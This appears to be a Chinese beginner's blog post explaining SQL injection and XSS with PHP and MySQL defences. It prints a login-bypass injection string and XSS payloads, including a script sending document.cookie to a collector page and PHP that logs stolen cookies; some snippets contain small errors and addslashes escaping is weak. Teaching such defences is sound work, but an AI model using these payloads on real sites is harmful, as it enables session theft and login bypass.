Web安全
Web安全
web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。
SQL注入
-
数据库表
-
出现场景
当开发登录模块的时候,如果我们使用是MySQL操作PHP,并非使用mysqli、PDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。
-
如何防范
1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。
封装函数
<?php
/**
* 给数组中的特殊字符进行转义
* @param arr $arr 转义前的数组
* @return arr 转义后的数组
*/function _addslashes($arr){
foreach ($arr
as
$k => $v) {
if(is_string($v)){
$arr[$k] = addslashes($v);
}else
if(is_array($v)){
$arr[$k] = _addslashes($v);
}
}
return
$arr;
}?>
其次,在初始化文件中,使用以下代码
<?php //给get、post、cookie中的内容进行转义
$_GET = _addslashes($_GET);
$_POST = _addslashes($_POST);
$_COOKIE = _addslashes($_COOKIE);
?>
2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!
3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输
4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。
prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板
set @a="admin' or 1 #";//设置参数1
set @b='123456';//设置参数2
execute st1 using @a,@b;//执行sql
xss攻击
-
案列
在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。
1、恶作剧:
<font size="100" color="red">逗你玩</font>
2、略带恶意:
这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除
<script>while(true) {
alert('欢迎你');
} </script>
3、恶意
读取你的cookie信息,并发送到指定的页面,进行保存操作。
获取cookie的信息
<script>
alert(document.cookie);</script>
评论的内容
<script> var url = "http://localhost//toucookie.php?cookie=" + document.cookie; var img = document.createElement("img");
img.src = url; document.appendChild(url); </script>
toucookie.php中的内容
<?php
/**
* 保存传过来的cookie信息
*/
file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);
?>
cookie.txt的内容
name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d
-
防范xss
-
不需要展示HTML标签的表单内容,入库时直接转成实体显示
$_POST['content] = htmlspecialchars($_POST['content']);
2、可以用正则检测输入框必须为email等合法数据
3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
如strip_tags 来过滤html标签4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
如strip_tags 来过滤html标签